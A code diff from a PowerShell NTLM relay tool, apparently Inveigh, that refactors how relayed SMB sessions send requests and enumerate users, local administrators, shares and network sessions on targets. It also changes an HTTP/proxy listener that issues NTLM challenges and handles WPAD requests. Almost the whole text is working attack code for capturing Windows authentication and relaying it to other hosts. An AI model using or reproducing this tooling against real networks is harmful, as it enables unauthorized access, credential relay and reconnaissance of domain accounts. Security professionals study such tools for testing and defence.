                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'Connect5'
@@ -3428,20 +3604,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive'
                     }
 
                     'CreateRequest'
@@ -3455,32 +3618,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-
-                        try
-                        {
-                            $client_stream.Write($client_send,0,$client_send.Length) > $null
-                            $client_stream.Flush()
-                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                            
-                            if(Get-StatusPending $client_receive[12..15])
-                            {
-                                $stage = 'StatusPending'
-                                $stage_next = 'StatusReceived'
-                            }
-                            else
-                            {
-                                $stage = 'StatusReceived'
-                            }
-                            
-                        }
-                        catch
-                        {
-                            $error_message = $_.Exception.Message
-                            $error_message = $error_message -replace "`n",""
-                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null
-                            $stage = 'Exit'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'EnumDomainUsers'
@@ -3499,20 +3637,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive'
                     }
 
                     'GetMembersInAlias'
@@ -3531,20 +3656,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'Logoff'
@@ -3558,10 +3670,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $stage = 'Exit'
+                        $stage = 'SendReceive' 
                     }
 
                     'LookupNames'
@@ -3580,20 +3689,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'LookupRids'
@@ -3612,20 +3708,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive'
                     }
 
                     'LSAClose'
@@ -3644,21 +3727,8 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+                        $stage = 'SendReceive'
                         $step++
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
                     }
 
                     'LSALookupSids'
@@ -3677,20 +3747,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive'
                     }
 
                     'LSAOpenPolicy'
@@ -3709,20 +3766,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                
+                        $stage = 'SendReceive'
                     }
 
                     'LSAQueryInfoPolicy'
@@ -3741,20 +3785,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive' 
                     }
 
                     'NetSessEnum'
@@ -3773,20 +3804,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
                     
                     'NetShareEnumAll'
@@ -3805,20 +3823,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'OpenAlias'
@@ -3837,20 +3842,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'OpenDomain'
@@ -3869,20 +3861,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'OpenGroup'
@@ -3901,20 +3880,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive' 
                     }
 
                     'ParseLookupRids'
@@ -4000,7 +3966,6 @@ $SMB_relay_functions_scriptblock =
                         $response_user_start = $response_user_count * 16 + $response_domain_start + 12
                         $response_user_end = $response_user_start
                         $response_user_length_start = $response_domain_start + 4
-                        #$response_user_list = @()
                         $i = 0
 
                         while($i -lt $response_user_count)
@@ -4046,13 +4011,13 @@ $SMB_relay_functions_scriptblock =
 
                         if($enumerate_group_user_list -gt 0)
                         {
-                            $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target local administrator users:") > $null
+                            $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target $EnumerateGroup group member users:") > $null
                             $inveigh.output_queue.Add($enumerate_group_user_list -join ",") > $null
                         }
 
                         if($enumerate_group_group_list -gt 0)
                         {
-                            $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target local administrator groups:") > $null
+                            $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target $EnumerateGroup group member groups:") > $null
                             $inveigh.output_queue.Add($enumerate_group_group_list -join ",") > $null
                         }
 
@@ -4138,17 +4103,16 @@ $SMB_relay_functions_scriptblock =
                             if($action_stage -eq 'Share')
                             {
 
-                                if($response_item -ne 'ADMIN$' -and $response_item -ne 'C$' -and $response_item -ne 'IPC$' -and $response_item -ne 'print$')
+                                if($response_item -ne 'ADMIN$' -and $response_item -notmatch '^[a-zA-Z][\$]$' -and $response_item -ne 'IPC$' -and $response_item -ne 'print$')
                                 {
                                     $enumerate_share_list.Add($response_item) > $null
                                 }
                                 
-                                #$share_list += $response_item
                             }
                             else
                             {
 
-                                if($response_item -ne "\\" + $SMB_client.Client.LocalEndPoint.Address.IPAddressToString)
+                                if($response_item -ne "\\" + $client.Client.LocalEndPoint.Address.IPAddressToString)
                                 {
                                     $enumerate_netsession_list.Add($response_item + "\" + $response_item_2) > $null
                                 }
@@ -4190,7 +4154,6 @@ $SMB_relay_functions_scriptblock =
                             [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)]
                             $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0)
                             [Byte[]]$response_RID_bytes = $client_receive[$response_RID_start..($response_RID_start + 3)]
-                            #$response_RID = [System.BitConverter]::ToInt16($response_RID_bytes,0)
                             $response_user_end = $response_user_start + $response_user_length
                             [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)]
                             $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0)
@@ -4245,20 +4208,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive'
                     }
 
                     'QueryInfoRequest'
@@ -4272,20 +4222,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
                 
                     'ReadRequest'
@@ -4300,20 +4237,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                     'RPCBind'
@@ -4330,20 +4254,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive' 
                     }
 
                     'SAMRCloseRequest'
@@ -4362,6 +4273,11 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
+                        $stage = 'SendReceive'
+                    }
+
+                    'SendReceive'
+                    {
                         $client_stream.Write($client_send,0,$client_send.Length) > $null
                         $client_stream.Flush()
                         $client_stream.Read($client_receive,0,$client_receive.Length) > $null
@@ -4369,7 +4285,6 @@ $SMB_relay_functions_scriptblock =
                         if(Get-StatusPending $client_receive[12..15])
                         {
                             $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
                         }
                         else
                         {
@@ -4550,6 +4465,11 @@ $SMB_relay_functions_scriptblock =
 
                             }
 
+                            'Logoff'
+                            {
+                                $stage = 'Exit'
+                            }
+
                             'LookupNames'
                             {
                                 $step++
@@ -4711,7 +4631,7 @@ $SMB_relay_functions_scriptblock =
 
                                 if($step -eq 8)
                                 {
-                                    Write-Output "[-] $Group group not found"
+                                    $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $Group group not found") > $null
                                     $stage = 'TreeDisconnect'
                                 }
                                 else
@@ -4830,7 +4750,7 @@ $SMB_relay_functions_scriptblock =
                                             }
                                             elseif($share_list.Count -gt 0 -and $j -eq $share_list.Count - 1)
                                             {
-                                                Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize
+                                                #Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize
                                                 $tree_ID = $tree_IPC
                                                 $stage = 'TreeDisconnect'
                                                 $j++
@@ -4908,32 +4828,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-
-                        try
-                        {
-                            $client_stream.Write($client_send,0,$client_send.Length) > $null
-                            $client_stream.Flush()
-                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                            if(Get-StatusPending $client_receive[12..15])
-                            {
-                                $stage = 'StatusPending'
-                                $stage_next = 'StatusReceived'
-                            }
-                            else
-                            {
-                                $stage = 'StatusReceived'
-                            }
-
-                        }
-                        catch
-                        {
-                            $error_message = $_.Exception.Message
-                            $error_message = $error_message -replace "`n",""
-                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null
-                            $stage = 'Exit'
-                        }
-                        
+                        $stage = 'SendReceive'
                     }
 
                     'TreeDisconnect'
@@ -4947,20 +4842,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
+                        $stage = 'SendReceive'
                     }
 
                 }
@@ -5007,17 +4889,22 @@ $SMB_relay_functions_scriptblock =
         }
 
         $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID
-        $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
-        $inveigh.enumeration_data[$target_index]."Administrator Users" = $enumerate_group_user_list
-        $inveigh.enumeration_data[$target_index]."Administrator Groups" = $enumerate_group_group_list
-        $inveigh.enumeration_data[$target_index]."Local Users" = $enumerate_user_list
-        $inveigh.enumeration_data[$target_index].Shares = $enumerate_share_list
+        $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1
+
+        if($EnumerateGroup -eq 'Administrators')
+        {
+            $inveigh.enumerated_data[$target_index]."Administrator Users" = $enumerate_group_user_list
+            $inveigh.enumerated_data[$target_index]."Administrator Groups" = $enumerate_group_group_list
+        }
+
+        $inveigh.enumerated_data[$target_index]."Local Users" = $enumerate_user_list
+        $inveigh.enumerated_data[$target_index].Shares = $enumerate_share_list
         $net_sessions_unique = @()
 
         ForEach($net_session_entry in $enumerate_netsession_list)
         {
 
-            if($inveigh.enumeration_data[$target_index].NetSessions -notcontains $net_session_entry)
+            if($inveigh.enumerated_data[$target_index].NetSessions -notcontains $net_session_entry)
             {
                 $net_sessions_unique += $net_session_entry
             }
@@ -5025,42 +4912,28 @@ $SMB_relay_functions_scriptblock =
             $net_session_IP = ($net_session_entry.Split("\"))[2]
             $net_session_user = ($net_session_entry.Split("\"))[3]
 
-            if($inveigh.enumeration_data | Where-Object {$_.IP -eq $net_session_IP})
+            if($inveigh.enumerated_data | Where-Object {$_.IP -eq $net_session_IP})
             {
-                $net_session_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $net_session_IP} | Select-Object -expand Index
+                $net_session_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $net_session_IP} | Select-Object -expand Index
 
-                if($net_session_index -and $inveigh.enumeration_data[$net_session_index].NetSessions -notcontains $net_session_user)
+                if($net_session_index -and $inveigh.enumerated_data[$net_session_index].NetSessions -notcontains $net_session_user)
                 {
-                    $inveigh.enumeration_data[$net_session_index].NetSessionsMapped += $net_session_user
+                    $inveigh.enumerated_data[$net_session_index]."NetSessions Mapped" += $net_session_user
                 }
 
             }
             else
             {
-                if(!($inveigh.enumeration_data | Where-Object {$_.IP -eq $net_session_IP}))
-                {
-                
-                    try 
-                    {
-                        $mapped_hostname = [System.Net.Dns]::GetHostEntry($net_session_IP).HostName
-                    }
-                    catch
-                    {
-                        $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS reverse lookup for $net_session_IP failed") > $null
-                    }
-
-                }
-
-                $inveigh.enumeration_data += New-RelayEnumObject -IP $net_session_IP -Hostname $mapped_hostname -NetSessionsMapped $net_session_user
+                $inveigh.enumerated_data += New-RelayEnumObject -IP $net_session_IP -NetSessionsMapped $net_session_user
             }
 
         }
 
-        $inveigh.enumeration_data[$target_index].NetSessions += $net_sessions_unique
+        $inveigh.enumerated_data[$target_index].NetSessions += $net_sessions_unique
         
         if(!$RPC_access_denied)
         {
-            $inveigh.enumeration_data[$target_index].Enumerate = $(Get-Date -format s)
+            $inveigh.enumerated_data[$target_index].Enumerate = $(Get-Date -format s)
         }
 
     }
@@ -5070,12 +4943,12 @@ $SMB_relay_functions_scriptblock =
 # HTTP/HTTPS/Proxy Server ScriptBlock
 $HTTP_scriptblock = 
 { 
-    param ($Attack,$Challenge,$Command,$Enumerate,$EnumerateGroup,$FailedAuthLimit,$HTTPIP,$HTTPPort,$HTTPResetDelay,
-    $HTTPResetDelayTimeout,$HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$RepeatEnumerate,
+    param ($Attack,$Challenge,$Command,$Enumerate,$EnumerateGroup,$FailedLoginThreshold,$HTTPIP,$HTTPPort,
+    $HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$RepeatEnumerate,
     $RepeatExecute,$Service,$SMB_version,$SessionLimitPriv,$SessionLimitUnpriv,$SessionLimitShare,
     $SessionPriority,$Target,$TargetMode,$TargetRefresh,$Username,$WPADAuth,$WPADAuthIgnore,$WPADResponse)
 
-    function NTLMChallengeBase64
+    function Get-NTLMChallengeBase64
     {
         param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort)
 
@@ -5142,7 +5015,6 @@ $HTTP_scriptblock =
 
         $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
         $NTLM = 'NTLM ' + $NTLM_challenge_base64
-        #$NTLM_challenge = $HTTP_challenge
 
         return $NTLM
     }
@@ -5205,18 +5077,18 @@ $HTTP_scriptblock =
 
     :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running)
     {
-        $TCP_request = ""
+        $TCP_request = $null
         $TCP_request_bytes = New-Object System.Byte[] 4096
         $HTTP_send = $true
-        $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html")
-        $HTTP_header_cache_control = ""
-        $HTTP_header_authenticate = ""
-        $HTTP_header_authenticate_data = ""
-        $HTTP_message = ""
-        $HTTP_header_authorization =  ""
-        $HTTP_header_host = ""
-        $HTTP_header_user_agent = ""
-        $HTTP_request_raw_URL = ""
+        $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: text/html")
+        $HTTP_header_cache_control = $null
+        $HTTP_header_authenticate = $null
+        $HTTP_header_authenticate_data = $null
+        $HTTP_message = ''
+        $HTTP_header_authorization = ''
+        $HTTP_header_host = $null
+        $HTTP_header_user_agent = $null
+        $HTTP_request_raw_URL = $null
         $NTLM = "NTLM"
         
         while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected)
@@ -5237,7 +5109,7 @@ $HTTP_scriptblock =
             if($relay_reset -gt 2)
             {
                 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay attack resetting") > $null
-                $SMB_client.Close()
+                $client.Close()
                 $relay_step = 0
             }
 
@@ -5301,6 +5173,7 @@ $HTTP_scriptblock =
             $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
             $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
             $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString
+            $HTTP_connection_header_close = $true
 
             if($TCP_request -like "*-48-6F-73-74-3A-20-*")
             {
@@ -5358,14 +5231,6 @@ $HTTP_scriptblock =
                 {
                     $HTTP_response_status_code = 0x34,0x30,0x31
                     $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20
-
-                    if($HTTP_request_raw_URL -match '/wpad.dat')
-                    {
-                        $HTTP_reset_delay = $true
-                        $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout
-                        $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
-                    }
-
                 }
 
